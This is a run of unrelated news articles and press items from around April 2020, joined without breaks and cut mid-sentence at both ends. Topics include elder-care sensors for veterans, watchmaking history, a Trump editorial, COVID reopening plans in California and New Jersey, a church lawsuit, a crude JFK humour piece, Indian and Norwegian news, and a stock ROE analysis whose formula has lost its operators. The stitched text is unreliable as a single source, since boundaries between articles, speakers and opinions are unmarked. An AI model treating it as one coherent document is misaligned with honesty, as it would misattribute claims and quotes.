soldiers who have made the ultimate sacrifice for our country. I am honored to be a part of this effort." Charles E. Gagnon, President & CEO of Volunteers of America of Massachusetts, explained that Mayor Curtatone and the City of Somerville "have always supported and partnered with our Mass Bay veterans to ensure that they are provided a safe, supportive and healthy environment. Our mission is to stabilize the health of our residents while customizing an individual service plan in order for all our vets to achieve and realize a greater degree of self-sufficiency and secure permanent housing. "It certainly 'takes a village'," Gagnon added, "and this innovative collaboration and partnership with Mayor Curtatone, Cherish Health and Health eVillages is an ideal opportunity to improve the care for our elderly veterans by providing early prevention measures and improving access in real time to address their complicated health conditions. We are thrilled and humbled to participate in such an important health innovation during this public health crisis." Cherish Health: Cherish Health develops advanced sensors and artificial intelligence and combines them with medical evidence and human touch to pioneer solutions that help improve people's lives and proactively enable their care where they live, work, and play. We improve the lives of elderly or frail individuals by enabling them to live independently with more safety, companionship, and joy. We improve the lives of their families and friends by helping them more easily care for their loved ones and for themselves, and give them peace of mind while reducing hardship and cost. We enable care for the very same people, and for those living with long-term conditions by anticipating risks - ranging from falls to UTIs to loneliness and depression - and then engaging proactively to help prevent avoidable deteriorations that might lead to ambulance rides, emergency room visits, and hospitalizations. This should reduce the cost of care for payors while maintaining perhaps even improving the care experience and outcomes. Learn more at www.cherishhealth.com and www.projectsafeathome.com. Health eVillages: Health eVillages collaborates to advance healthcare access and improve the quality of care by providing state-of-the-art mobile health technology including medical reference and clinical decision support tools, as well as other community-focused resources, to medical and public health professionals in the most challenging clinical environments around the world. Our partners include Tivity Health, Sharecare, Tombras, the Tramuto Foundation, Skyscape, Global Impact, the Maternity Foundation, Medical Aid Films and more. You can find more information at www.healthevillages.org and follow us on Twitter, Instagram and Facebook. Volunteers of America of Massachusetts: Volunteers of America of Massachusetts (VOAM) mission is dedicated to serving the most in need, especially the vulnerable, the hardest to serve, and those facing multiple challenges. Our vision comes from a belief that all individuals can reach their full potential. Volunteers of America of Massachusetts is an affiliate of the National Volunteers of America, based in Alexandria, VA, serving America's most vulnerable people in our communities through its 32 affiliates nationwide. VOAM core service areas are the following: Veteran Services, Residential Treatment Services, Outpatient Behavioral Health Services, Re-Entry Services and Senior Assisted Living communities. Visit: www.voamass.org SOURCE Cherish Related Links https://cherishhealth.com In the second year of its existence, GMT echoed the accelerating world of watchmaking. This retrospective look into 2001 is by no means exhaustive and simply relates a few selected pieces from the year in question. If you can recall, that year as Breguet celebrated the bicentenary of the invention of the tourbillon, Richard Mille gave a new face to contemporary haute horlogerie and Bucherer launched its own brand, Carl F. Bucherer with its first model, the Patravi GMT chronograph. GMT 2001 GMT Two new institutions were born then that quickly became true touchstones in the watch industry, and yet they are not watch companies: the Grand Prix dHorlogerie de Geneve and WorldTempus! Heartfelt gratitude goes to their brilliant co-founders, Jean-Luc Pittard and the late Gabriel Tortella, who convinced 21 luxury watch brands to unite and create an online showcase. Still few in number at the time, luxury watch magazines contained advertisements for brands that have since vanished, such as Cedric Johner, Gerald Charles (featuring Gerald Genta), Jean Perret, Leroy or Marina B, as well as for the Geneva Watchmaking Museum, which closed its doors in 2002 after two consecutive burglaries. A double-page advertisement featured A. Lange & Sohnes Lange 1 on one side and IWCs Da Vinci Perpetual Calendar Chronograph on the other (both brands had just joined the Richemont group) with this title: The Swiss make the best watches in the world. And so do the Saxons! GMT 2001 GMT In its press release describing the Pasha Automatic Tourbillon with a grid over the dial, Cartier stated that the movement was designed by Girard-Perregaux. Moreover, Luigi Macaluso, director of Girard-Perregaux at the time, posed for a photo with President of Ferrari, Luca Cordero di Montezemolo, for whom Girard-Perregaux made chronographs. So many pages have been turned since then! New concepts and materials Not quite creating a new brand or a concept, but definitely the beginning of a new phenomenon in independent fine watchmaking: the co-branding of talent. Thus, Goldpfeil Geneve enters the industry with a bang at the Basel Fair by joining forces with seven watchmaking craftsmen from the AHCI, each of whom created a unique piece (Svend Andersen, Thomas Baumgartner, Vianney Halter, Frank Jutzi, Bernhard Lederer and Antoine Preziuso). At the same time, Harry Winston chose Francois-Paul Journe to launch its now cult Opus series. Opus 1 featured three of his calibres, six models per calibre: a resonance chronometer, a tourbillon with a remontoir degalite and a large date window with an indicator for the power reserve that went up to 120 hours. Also in Basel in 2001, Richard Mille unveiled his tourbillon RM 001 with its famous barrel-shaped case featuring a mechanical movement with a torque indicator and the first titanium baseplate in the history of watchmaking. Chopard used titanium for its Mille Miglia watch that year. Not yet the case for Panerai, which would soon come to it, and instead devoted 2001 to its Radiomir collection (250 pieces of the Chronographe Foudroyante and 500 of the GMT Alarm). As for Vacheron Constantin, a booming brand, it delivered the first models of its Malte collection (launched in 2000), including a magnificent Dual Time Regulator. GMT 2001 GMT World firsts Also presented the previous year, the Belt dHermes arrived on the market featuring its patented sliding case, making it easy to change between the two bracelets with which it was sold. The bracelets novel opening also inspired Piaget, of which their Upstream was undoubtedly too far ahead of its time. Piagets first steel watch is not only equipped with a new automatic 504P calibre (or quartz movement!), but also with a mechanism for opening the bracelet through the bezel, which unfolded at 12 oclock. In the small independent segment, Antoine Preziuso announced the smallest mechanical watch with a second time zone for ladies with the Hours of the World, and Graham announced the Silverstone, the first chronograph with speedback and second 24-hour time zone. GMT 2001 GMT But the real technological breakthrough came from Omega, which presented its De Ville collection with co-axial escapement, through three certified chronometer models. For Gubelin watchmaker Christophe Persoz, who still writes the Test Bench column for GMT, The user of this watch will appreciate the reliability and the precisions exceptional long-term stability. As a result, the time between maintenance services is significantly increased. The co-axial escapement can be considered as one of the very few real technical innovations in recent decades. GMT 2001 GMT The quest for price positioning Expressing themselves during interviews published in GMT in 2001, CEOs were already speaking of their dilemmas with distribution and their desire to differentiate themselves in order to win over more customers. All Customers are different and that is why we must listen to them, establish personalized, even warm relationships, said Philippe Leopold-Metzger, then CEO of Piaget. Above all else, we dont want a megastore! Seasoned clients looking for beautiful mechanical watches and an aesthetic rich in personality will feel at home with Piaget. In the opinion of Carlos Dias, then Chairman and CEO of Roger Dubuis, back then: Too often in the past, I have bought watches that lost half their value as soon as they left the store, due to them being produced in the several thousands. With a Roger Dubuis watch, this investment remains much less vulnerable and the probability of crossing one of the 27 other owners of the same model is low. The design can evolve, inspiration can come from the past without staying a standstill. GMT 2001 GMT Remaining faithful to this credo for the past 20 years is Pascal Raffy (and Roger Guye, at that time) who saw three definitive benefits to Bovet: Five letters composing a short name that is easy to pronounce in all languages, he says. An 1822 date placing us among the top ten of the oldest brands. Bovet is Bovet without possible error. It is therefore a very special watch that brings dreams to the client, and whose exclusive character is coupled with fair value. Bovet is a niche brand and intends to remain so. Next week, the first palindrome year of the third millennium. *To celebrate its 20th anniversary in 2020, GMT Magazine will summarise weekly, exclusively on WorldTempus, the essence of its content published year after year in the last 20 years. The information is by no means exhaustive and refers to excerpts. For a more in-depth view of the last two decades of watchmaking, order The Millennium Watch Book produced by GMT Magazine and WorldTempus with the contribution of over twenty experts, each of whom witnessed this incomparable period in our industry. No American president since the Civil War, if even then, has ever encouraged mass insurrection and called upon citizens to liberate their states from elected governors. President Donald Trump has spent recent days doing exactly that, along with promoting a book whose title screams Revolution, while a prominent ally is urging conservative students toward rebellion. The message here seems to stray about as far away as a president can get from unity in a time of crisis. Rather, Trump seems intent on stirring things up and fomenting instability, with particular emphasis on Democrat-held swing states like Minnesota, Michigan and Virginia. Rarely does Trump indicate that he actually thinks through the consequences of his tweets and extemporaneous comments. But people are acting on his words, and therein lies the danger. Considering that Monday was the 25th anniversary of Timothy McVeighs anti-government terrorist attack on an Oklahoma City federal building, and that a radical segment of Trumps base today consists of militia gun fanatics who practice weekend war maneuvers, the implications are too serious for Trump to continue playing rhetorical games on social media. Even governors from Trumps Republican Party, such as Maryland Gov. Larry Hogan and Ohios Mike DeWine, are publicly criticizing his language. DeWine said Sunday on Meet the Press that, yes, the goal should be to open this economy. But do it very, very carefully, so we dont get a lot of people killed. Videos of crowds at various state capitols belied Trumps assertions that protesters, including some in Jefferson City Tuesday, were observing social-distancing precautions. It appeared in several cases as if people couldnt care less. Trump defended them, even though his own top health advisers Drs. Anthony Fauci and Deborah Birx have counseled the nation not to ease stay-at-home restrictions. Any rational leader in Trumps place, faced with a crisis of this magnitude, would recognize that science and common sense must prevail over politics. Any rational leader would use every ounce of presidential influence to urge national unity and compliance with the White Houses own guidelines. But Trump, as his tweets suggest, is no rational leader. His desperate antics coincide with steeply slumping economic indicators and diminishing public support. Trump seems to reason that an uncoordinated flood of protesters onto the streets might somehow make things better, despite all of the medical evidence including more than 800,000 coronavirus infections and 43,000 deaths suggesting his approach is an invitation to disaster. An NBC News/Wall Street Journal poll found that only 3% of voters believe the country is ready to reopen. More than two-thirds of respondents in a Pew Research Center poll said Trump was too slow to respond to the outbreak, and an even higher percentage believes the worst is yet to come. If Trump continues ignoring his advisers and encouraging defiance, that latter finding could well turn out to be a self-fulfilling prophecy. Love 9 Funny 1 Wow 0 Sad 0 Angry 0 Source: Xinhua| 2020-04-29 00:25:40|Editor: huaxia Video Player Close KAMPALA, April 28 (Xinhua) -- Uganda is making final deliberations in trading off its surplus sugar to neighboring Tanzania with the first consignment of 20,000 tons being agreed upon. A State House statement issued on Tuesday said the consignment of brown sugar will be exported to Tanzania by the end of May 2020. "This is the first consignment, which has opened up market opportunities for the Ugandan sugar millers who have surplus production," the statement said. The statement said president Yoweri Museveni on Monday met Tanzania's representatives headed by Seif Ally Seif, managing director of Kagera Sugar Limited. Museveni hailed his Tanzanian counterpart John Magufuli for allowing to import sugar from Uganda. Amelia Kyambadde, Uganda's minister of trade, told the meeting that the deal is a relief for Ugandan millers who have been trying to penetrate the Tanzanian market for a long time. Kyambadde said subsequent exports will be made in due course. The minister said Uganda has a sugar surplus of 48,000 tons, which can be exported to address Tanzania's current sugar shortage. Uganda's sugar industry comprises of 11 functional sugar mills producing some 510,000 tons and the consumption is 360,000 tons per annum, according to ministry of trade figures. The surplus is sufficient for export, according to the minister. Enditem File Photo Lucknow: In a major relief to parents, deputy chief minister Dinesh Sharma on Monday directed all private schools across Uttar Pradesh not to hike fees in this academic session in view of the lockdown. The decision was taken in a meeting with secondary education department officials. Photo All schools in the state affiliated to CBSE, ICSE or UP Board will not be allowed to increase fees for the academic session 2020-21. The schools will only be allowed to charge fees which were applicable in the year 2019-20, said Sharma. Advertisement He said, If schools have collected increased fees from parents in this session, the surplus amount should be adjusted in the next month fees. PhotoPrincipal secretary, secondary education, Aradhana Shukla has communicated the decision taken by deputy chief minister to all district magistrates and director, secondary education, deputy chief minister said. Sharma said lockdown has adversely impacted life of several parents. From pay cuts to less income, lockdown has impacted life in a big way. Under these circumstances parents are finding it difficult to pay fees. Considering all of this it was decided that schools in Uttar Pradesh should not hike fees, said the deputy chief minister. Advertisement PhotoIn Lucknow, a number of schools have announced not to increase fees this year. Gov. Gavin Newsom on April 28, 2020, introduced a phased plan for reopening California businesses. (Associated Press) California businesses seen as presenting less risk of spreading the coronavirus could open in the near future under a plan Gov. Gavin Newsom unveiled Tuesday, the first of what he suggested were several slow steps toward easing the statewide shutdown order. We believe we are weeks, not months, away from making meaningful modifications" in the current restrictions, Newsom said. But Newsom's announcement of a four-phase plan did not come with a guaranteed timetable. He said while current public health indicators such as hospitalizations and testing capacity look promising, additional progress needs to be made toward slowing the spread of the virus. "Politics will not drive our decision-making. Protests won't drive our decision-making. Political pressure will not drive our decision- making," he said. The plan he presented Tuesday envisions four distinct phases for ending the shutdown, each with several subjective components reflecting that uncertainty. The governor said the state is currently in the first phase, marked by ongoing efforts to provide a financial safety net for low-wage earners who might otherwise work when sick and encouraging the use of face coverings by residents when in places where they cannot practice safe physical distancing. The second phase, he said, would allow select businesses to reopen in communities across California. Those would be deemed "lower risk" and include more curbside options for retail locations, manufacturing sites and small businesses with few in-person customers. The change also would loosen limits on access to public spaces, probably including some parks. In a lengthy online presentation of the new plan, Newsom said he recognized the economic pain from the stay-at-home order but insisted there was still no way to set a a date for loosening that directive. "We need to protect not just the business community but customers of those businesses. It's one thing to open a business. But if there's no demand, it's a false promise," he said. Story continues Newsom's second phase, notably, might include a plan for allowing some K-12 schools to either offer summer programs or consider an earlier start to the new academic year in order to make up some of the lost educational opportunities. It also would allow more child-care facilities to resume operations. The guidelines would require businesses seeking to reopen to keep as many people as possible working from home. And it envisions that employers must be able to ensure that they have established safe workplace conditions. But the proposal does not offer information on who enforces the rules or how enforcement will take place. The statewide order issued by the governor last month has largely relied on local government officials to ensure compliance. Key to the change would be adequate protections for places such as skilled nursing facilities and "congregate" settings, including jails and prisons. The plan requires that officials in the state's 58 counties have the ability to perform robust contact tracing to ensure they can track potential spread of the coronavirus. Graham Knaus, executive director of the California Assn. of Counties, said that work requires adequate funding. "If county public health departments lack funding to access testing or coordinate trained workers, it will be nearly impossible to meet key indicators to reopen California, much less track and isolate cases as restrictions are lifted," he said. The governor's embrace of a more methodical plan for easing the stay-at-home mandate comes amid mounting pressure from some local officials to reopen the state sooner rather than later. Those pleas for a more specific timetable, plus images of Californians flocking to the beaches over the weekend, stand in contrast to reports that some areas most notably, Los Angeles County are still struggling to get a handle on the public health crisis. Newsom acknowledged the balancing act that lies ahead, insisting that not all regions of the state would be allowed to loosen the shutdown rules at the same time. Two additional phases are envisioned in his new plan, including reopening hair salons and personal care businesses and eventually allowing large gatherings such as sporting events. But no certainty was provided that those phases could arrive anytime soon. Rob Lapsley, president of the California Business Roundtable, said employers need a more detailed list of the kinds of companies that can reopen in each phase. He said business owners may be disappointed, too, with the lack of details about what lies ahead. The governor started talking about the economy today, but we really didnt learn all that much, Lapsley said. Other states are way ahead of us in terms of having much more detailed plans. He also questioned why the governor isnt taking an aggressive approach to protect people 65 and older while allowing others to return to work more quickly. We have to ensure that we protect the public health and protect the financial well-being at the same time, he said. We need to be on a more detailed path for that. Newsom's announcement comes after several governors across the country said they plan to ease stay-at-home orders in the days and weeks ahead. Newsom, meanwhile, has sought to link California's approach to a less restrictive policy to those crafted by governors in neighboring states. This month, he and his counterparts in Washington and Oregon announced a regional pact to recovery from the coronavirus crisis and agreed to work together to develop a plan to lift restrictions on daily life and reopen economies along the West Coast. Nevada and Colorado on Monday announced they would join the regional pact. Still, local officials across California have barraged Newsom with requests to go their own way. On Monday, a bipartisan group of California lawmakers, mayors and other elected officials from six counties asked to ease the restrictions and start the process of reopening their economies. "We believe that the local public health data, in addition to our areas ability to continue monitoring cases, should allow our counties to soon begin a science-based, thoughtful reopening of our economy, consistent with national guidelines, which would allow our residents to get back to work," the letter to Newsom stated. Last week, San Luis Obispo County officials said they have bent the coronavirus curve and were beginning to craft their own phased approach to allow some businesses to reopen. That request came just days after Ventura County officials modified a stay-at-home order to permit some businesses to reopen and some gatherings to take place. Newsom has remained focused on a message of patience. He said Tuesday that long-standing indicators on virus spread and healthcare preparations are key to what happens next. "It guides our decision-making and allows us to make determinations," he said of the indicators. "Dates don't. But data does." Cross Culture Christian Center, a Lodi-based evangelical church, is taking legal action against Gov. Gavin Newsom and local officials. (Ken Van Vechten) A small San Joaquin County evangelical church that was forced to stop meeting for Sunday services because of coronavirus restrictions is suing Gov. Gavin Newsom, arguing the state's public gathering ban violates First Amendment rights to religious freedom. "Our civil rights are not suspended by a virus," attorney Dean R. Broyles, who is representing the Cross Culture Christian Center in Lodi and its pastor, said in a statement. For millions of Californians, their religious faith is truly essential' like the air we breathe, the water we drink and the food we eat. Thats why religious liberty is one of our first freedoms recognized by the First Amendment in the Bill of Rights. To help slow the spread of COVID-19, Newsom's statewide stay-at-home executive order has shut down businesses except those deemed essential, prohibited group gatherings and required most people to stay inside homes except for trips such as grocery shopping or medical appointments. The Cross Culture Christian Center lawsuit, filed in Sacramento last week, asks U.S. District Judge John A. Mendez to declare that the order infringes on the church's First Amendment freedom of religion and freedom of assembly and allow it to hold in-house services so long as social distancing is followed, Broyles said. The lawsuit says the church already was following guidelines issued by the Centers for Disease Control and Prevention before the state and county issued stay-at-home orders in mid-March. Pastor Jonathan Duncan who leads Sunday service for roughly 27 attendees had also recommended that his congregation follow their doctor's orders, act in the best interest of their community and wear face coverings. Beside Newsom, the suit names Atty. Gen. Xavier Becerra; Sonia Angell, state public health officer; Maggie Park, county public health officer; Marcia Cunningham, county director of emergency services; the city of Lodi; and Police Chief Tod Patterson. Story continues The dispute between Cross Culture Christian Center and the city of Lodi began March 25 when police came to one of Duncan's Wednesday services and told him about county and state orders against public meetings. The Christian Center leases space in Bethel Open Bible Church, which stopped offering in-person services March 15. The church retained Broyles, of the Escondido-based National Center for Law & Policy, a conservative Christian nonprofit law group. Broyles sent Lodi officials a six-page cease-and-desist letter, saying officers "disrupted a peaceful and lawful worship service" and asked them to respect the church's First Amendment rights. On April 3, officers posted a notice from Park, San Joaquin County's interim public health officer, on the church building. The letter, addressed to Pastor Michael Allison of Bethel, said the Cross Culture Christian Church was continuing to use the Ham Lane facility and ordered it and its parking lot closed. Violation of the emergency order, the letter stated, was a misdemeanor offense punishable by fine or imprisonment. Duncan learned on Palm Sunday morning that the locks on the building had been changed by Bethel to prevent in-person services. We love people and dont want anyone to become infected, Duncan said in a statement. Our church believes that especially during these fearful and confusing times that church community is an essential service. People need Gods love and the church needs authentic Christian fellowship now, more than ever. Newsom's office and San Joaquin County officials did not immediately respond to a request for comment about the lawsuit Tuesday. The California Department of Public Health said it cannot comment on ongoing litigation. Becerra's office said it was "best-positioned" to respond to questions related to the state's stay-at-home order. The Lodi Police Department referred questions to the city attorney. As of Friday, San Joaquin County had revised its guidelines on outdoor public gatherings and activities, citing a legal case in which other state pastors had challenged Newsom's order. Under the county's amended order, faith-based organizations can hold services online or in a drive-up setting so long as people in attendance refrain from contact with each other and maintain physical distance. Vehicles must be six feet apart and people must remain in their cars at all times. Up to five people can enter nearby buildings to host the presentation. Lodi spokesman Jeff Hood said the updated order allows Duncan's church to resume services if it follows the new guidelines. It's now up to the Bethel property manager, Hood said. Allison, the Bethel pastor, could not immediately be reached for comment Tuesday. Even if Allison allows Duncan to host services following the county's amended order, Broyles said in an interview that "a lot more" needs to change before the lawsuit is dropped. "If religious freedom means anything, it must at least mean that the state does not have the authority to dictate to the church its manor or mode of worship, even in times of crisis especially in times of crisis," Broyles said in a statement. "Governor Newsoms misguided decision to unilaterally deem faith-based meetings as 'non-essential' and to restrict the faithful only to video sermons and electronic worship makes me think of authoritarian 'big brother.' A number of legal challenges by faith leaders have sprouted in response to stay-at-home orders. In San Diego, a judge rejected a church's request for a temporary restraining order so it could hold Easter services. In Mississippi, the U.S. Department of Justice filed a legal document in support of a church whose members were fined for attending a parking lot service in their cars, while other citizens were allowed to attend nearby drive-in restaurants. "If you look at the number of [law] suits and the people impacted, these are relative few and far between," said Gene Policinski, president and chief operating officer of the Freedom Forum Institute. "We're seeing a sincere effort by people who have particular feelings of faith or their ability to protest or assembly." Policinski said the COVID-19 pandemic presented "complicated circumstances" and said courts examine criteria such as the duration of stay-at-home orders, public interest and whether rights of assembly are interfered with. In the Lodi case, he explained that the church's argument might have had more weight before the rise of internet tools such as Zoom, a video conference platform, were available. "We don't surrender our First Amendment rights for any reason, but we do have to accept reasonable accommodations for limited amounts of time for solid, provable public interest that isn't targeted at one faith or belief," Policinski said. Times staff writer Hailey Branson-Potts contributed to this story Continue Reading Below Advertisement When it comes to foreign policy, JFK's achievements can be better summarized in three coups and two words: "enduring" and "clusterfuck." First was the Bay of Pigs, which went disastrously wrong, got hundreds of American allies slaughtered and actually cemented Castro's Communist tendencies better than any Soviet gift basket ever managed. Then JFK backed the bloody coup on Iraqi dictator Abd al-Karim Qasim, which also went disastrously wrong, handing the country to the party whose members included an ambitious whippersnapper called Saddam Hussein. And the third was his ousting of the South Vietnamese president Ngo Dinh Diem, which went disastrously wrong as it destabilized the region during the burgeoning Vietnam War which eventually led to a drastic escalation of American teenagers floating face-down in the Mekong River. Continue Reading Below Advertisement Even the Cuban Missile, the conflict often presented as tough guy JFK saving America from the Soviets, denying them a crucial launch pad for their nuclear missiles right next door to Florida, is no longer deemed so straightforward. With the release of official communication, some scholars now interpret the president's reaction as less akin to that of a strong commander-in-chief and more of a guy pulling a gun on a Walmart security guard for being asked to stop putting his dick in all the melons. In favor of posturing, Kennedy ignored the fact that the Soviets had countless other ways of turning the entirety of the United States into a Day-Glo ruin, or that Cuba had asked them for protection in case JFK ever had to urge to Bay of Pigs them again. Instead, documents later revealed that Kennedy ignored the context, overreacted by an imaginary act of war, got into a missile-measuring contest with Nikita Khrushchev and had to be calmed down before negotiations could begin. Wikimedia Commons /John F. Kennedy Presidential Library and Museum Maybe it was wrong to expect discretion and restraint from the guy who allegedly cheated on his wife with the most famous woman in the world. Continue Reading Below Advertisement But the reality of the situation is more that John F. Kennedy never got the chance to prove if he was a good or bad president, let alone a great one, only serving 35 months before his tragic assassination. If the failures in his brief track record prove anything definitively, it's the enduring power of the Kennedy charisma, how a brittle yet brilliant man, who was either constantly in pain or amphetamined out of his mind, had the power to make people dream again. For more weird tangents and reminders that you should never have heroes, do follow Cedric on Twitter. Gov. Phil Murphy sounded a cautiously optimistic tone Monday as he provided a six-point strategy for New Jerseys recovery and reopening from the coronavirus that has killed more than 6,000 people, but the strategy provided no firm timeline for the state to start lifting near-lockdown restrictions. He did hold out hope that the layers of restrictions could start being peeled back by Memorial Day in less than four weeks, but warned that New Jersey wouldnt rush into a reopening that could trigger a resurgence . The news was announced the same day Murphy said another 106 New Jersey residents died from COVID-19 and 2,146 more tested positive. At least 6,004 people have died and at least 111,188 have been infected in the state. The number of people in New Jersey hospitalized for COVID-19 continued to hover around a three-week low as of Monday night, though there was a slight increase from the previous day in coronavirus patients at the states 71 hospitals in the latest report, breaking a six-day streak of declines,. Murphy emphasizing the current stay-at-home, social distancing and business closure order will remain in its entirety until further notice." More than 988,000 in the U.S. have tested positive for the coronavirus in the United States as of 7 a.m. Tuesday. The countrys population is about 328 million. A roundup of coronavirus stories: Blue Angels, Thunderbirds flight path maps, times set for N.J., N.Y. to salute coronavirus first responders: Times and flight paths have been revealed for the two U.S. Navy Blue Angels and Air Force Thunderbirds flights over parts of New Jersey on Tuesday to salute frontline coronavirus workers. There will be a 40-minute flight over the Newark and New York City areas starting at noon and then a 30-minute flight over Trenton, Philadelphia and surrounding towns at 1:45 p.m. Authorities urge people to maintain social distancing during the spectacle. The Blue Angels and Thunderbirds have announced flight plans over New Jersey, New York and Philadelphia to salute first responders and hospital workers working on the front lines of the coronavirus outbreak. N.J. school district temporarily halting use of Zoom after hacker streams porn, racist language: A hacker showed inappropriate content during a New Jersey schools class being conducted on Zoom, the online video conferencing service that has soared in popularity during online learning due to the coronavirus pandemic. The Lumberton school district will halt using Zoom while they investigate, the district said Monday. Cops buy 275 pizzas for residents of their N.J. town and delivered some of them, too: Police in Westampton bought residents 275 pizzas as a thank you to for staying home during the pandemic. Officers even delivered some of the pies themselves. The money came out of donations to the Burlington County towns community policing fund. Fear, anxiety, dread. The psychological toll of the coronavirus lockdown is wearing on N.J.: Life under lockdown and social distancing is wearing on the psyches of New Jersey residents. And stress over lost jobs and unpaid bills is rising as the pandemics impact on the economy grows more dire by the day. Although its too early to document the full scope, hospitals, psychologists and other experts report a rise in patients requesting help across the mental health spectrum. Murphy clarifies rules on some essential N.J. businesses, including car dealerships: Want to test drive a car before you buy it? You can again in New Jersey under revised guidelines on essential businesses in N.J. released Monday by the governors office. Under the revised rules, if you order a vehicle online or over the phone, you now can test drive it before buying, as long youre alone in the car, and the vehicle is cleaned and sanitized afterward should you decide not to buy it. N.J. coronavirus reopening strategy: What about schools, parks, restaurants, retail? The governors reopening strategy offered no timeline and Murphy said the stay-at-home order, nonessential business closures and strict social distancing would remain in place until further notice. Murphy said that he expected the restrictions to linger for weeks, not months. Worldwide coronavirus cases: The total across 185 counties is more than 3 million as of 7 a.m. Tuesday, according to the Center for Systems Science and Engineering at Johns Hopkins University. More than 211, 000 have died of COVID-19 related causes. The center says about 897,000 have recovered. U.S. cases: More than 988,000 have been infected with more than 56,000 deaths as of 7 a.m. Tuesday. At least 111,500 have recovered though the actual number is likely considerable higher. Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. NJ Advance Media staff writers Matt Arco, Noah Cohen, Spencer Kent and Alex Napoliello contributed to this report. Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook. The Hazur Sahib Gurudwara in Maharashtra's Nanded district is on alert after some pilgrims who went back from there to Punjab tested positive for coronavirus, a gurudwara official said on Tuesday. The shrine administration is sanitising the premises at regular intervals and following the social distancing guidelines, he said. Eight of the Sikh pilgrims who recently returned from Nanded to Punjab tested positive for coronavirus on Monday. Five of the pilgrims belonged to Tarn Taran while three hailed from Kapurthala in Punjab. "We are taking all care. Spraying of disinfectants and sanitisation of every corner of the premises is being done at regular intervals. Social distancing is being maintained. We also have our own quarantine facility here," the gurudwara superintendent Gurvinder Singh Wadhwa told PTI. Any staff member who goes out of the city is quarantined at the facility available here. After completion of the quarantine period, the person is asked go to the civil hospital and get a check-up done before resuming duty, he said. Three persons are already quarantined at the facility, he added. Nearly 4,000 pilgrims from Punjab, who came to pay obeisance at the Gurdwara Hazur Sahib in Nanded, got stuck because of the coronavirus lockdown. Now, they are being sent to Punjab after the intervention of the Union Home Ministry. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) New Delhi, April 28 : The government on Tuesday lambasted the United States Commission on International Religious Freedom (USCIRF) for placing India among the list of countries which violate religious freedom. The USCIRF has designated India as a 'Country of Particular Concern' on religious freedom alongside Pakistan, Saudi Arabia, Syria, Iran, North Korea, China, Russia and others. The 14 countries placed in the list of 'Particular Concern', according to the USCIRF, are those whose "governments engage in or tolerate systematic, ongoing, egregious violations of religious freedom". The USCIRF is an independent federal government entity set up by the US Congress to monitor and report on religious freedom in the world. "We are seeing impunity for violence by non-state actors committed against religious minorities," USCIRF chair Tony Perkins said about India. Reacting sharply to the US government panel's move, Ministry of External Affairs spokesperson Anurag Srivastava said, "We reject the observations on India in the USCIRF annual report." Describing the USCIRF's comments against India as "biased and tendentious" and "not new", the spokesperson said, "But on this occasion, its misrepresentation has reached new levels. It has not been able to carry its own Commissioners in its endeavour." The government said that it regards it as "an organisation of particular concern and will treat it accordingly." Norwegian police said Tuesday they had arrested a wealthy businessman over the disappearance of his wife 18 months ago, the latest twist in a case that has kept the Nordic countries on tenterhooks. Tom Hagen, 70, was arrested as he was leaving his home for work on Tuesday, on suspicion of "murder or accessory to murder," commissioner Ida Melbo Oystese told a press conference. Hagen's wife Anne-Elisabeth Hagen disappeared without a trace from their home in Lorenskog, east of Oslo, on October 31, 2018. A poorly written ransom note, containing threats and a demand for nine million euros in crypto currency, was found at the scene. Sporadic contact with the alleged kidnappers on digital platforms initially supported the theory that she had been the victim of a rogue abduction. However, by June 2019, police were re-evaluating their leads and started examining whether it was a murder that had been disguised as a kidnapping. Tom Hagen is the 164th richest man in Norway with an estimated net worth of 1.9 billion Norwegian kroner ($183 million, 168 million euros) in 2019, according to business magazine Kapital. His lawyer said he denied the allegations. "He forcefully maintains that he has nothing to do with it," Svein Holden told public broadcaster NRK. Police did not present any concrete evidence to support their suspicions or speculate on a potential motive, but said the case "had traces of a clear, premeditated misdirection." Question marks remain as to what police believe Tom Hagen's exact role in the disappearance to be, whether he had accomplices and the whereabouts of Anne-Elisabeth Hagen, now presumed dead. Police said they had yet to interrogate the suspect. Businessman Tom Hagen's wife Anne-Elisabeth Hagen disappeared without trace from their home in Lorenskog, east of Oslo in 2018 Police commissioner Ida Melbo Oystese said the businessman was suspected of 'murder or accessory to murder' Police who arrested wealthy businessman Tom Hagen had been examining whether his wife's disappearance was a murder disguised as a kidnapping China 21st Century Education Group (HKG:1598) has had a rough three months with its share price down 31%. But if you pay close attention, you might gather that its strong financials could mean that the stock could potentially see an increase in value in the long-term, given how markets usually reward companies with good financial health. In this article, we decided to focus on China 21st Century Education Group's ROE. Return on equity or ROE is a key measure used to assess how efficiently a company's management is utilizing the company's capital. In simpler terms, it measures the profitability of a company in relation to shareholder's equity. View our latest analysis for China 21st Century Education Group How Do You Calculate Return On Equity? The formula for return on equity is: Return on Equity = Net Profit (from continuing operations) Shareholders' Equity So, based on the above formula, the ROE for China 21st Century Education Group is: 12% = CN83m CN673m (Based on the trailing twelve months to December 2019). The 'return' is the income the business earned over the last year. One way to conceptualize this is that for each HK$1 of shareholders' capital it has, the company made HK$0.12 in profit. Why Is ROE Important For Earnings Growth? We have already established that ROE serves as an efficient profit-generating gauge for a company's future earnings. Based on how much of its profits the company chooses to reinvest or "retain", we are then able to evaluate a company's future ability to generate profits. Assuming everything else remains unchanged, the higher the ROE and profit retention, the higher the growth rate of a company compared to companies that don't necessarily bear these characteristics. A Side By Side comparison of China 21st Century Education Group's Earnings Growth And 12% ROE To begin with, China 21st Century Education Group seems to have a respectable ROE. Further, the company's ROE is similar to the industry average of 12%. This probably goes some way in explaining China 21st Century Education Group's significant 27% net income growth over the past five years amongst other factors. We reckon that there could also be other factors at play here. For instance, the company has a low payout ratio or is being managed efficiently. Story continues As a next step, we compared China 21st Century Education Group's net income growth with the industry, and pleasingly, we found that the growth seen by the company is higher than the average industry growth of 21%. SEHK:1598 Past Earnings Growth April 27th 2020 The basis for attaching value to a company is, to a great extent, tied to its earnings growth. What investors need to determine next is if the expected earnings growth, or the lack of it, is already built into the share price. This then helps them determine if the stock is placed for a bright or bleak future. Is China 21st Century Education Group fairly valued compared to other companies? These 3 valuation measures might help you decide. Is China 21st Century Education Group Efficiently Re-investing Its Profits? China 21st Century Education Group's three-year median payout ratio is a pretty moderate 29%, meaning the company retains 71% of its income. By the looks of it, the dividend is well covered and China 21st Century Education Group is reinvesting its profits efficiently as evidenced by its exceptional growth which we discussed above. Summary Overall, we are quite pleased with China 21st Century Education Group's performance. Particularly, we like that the 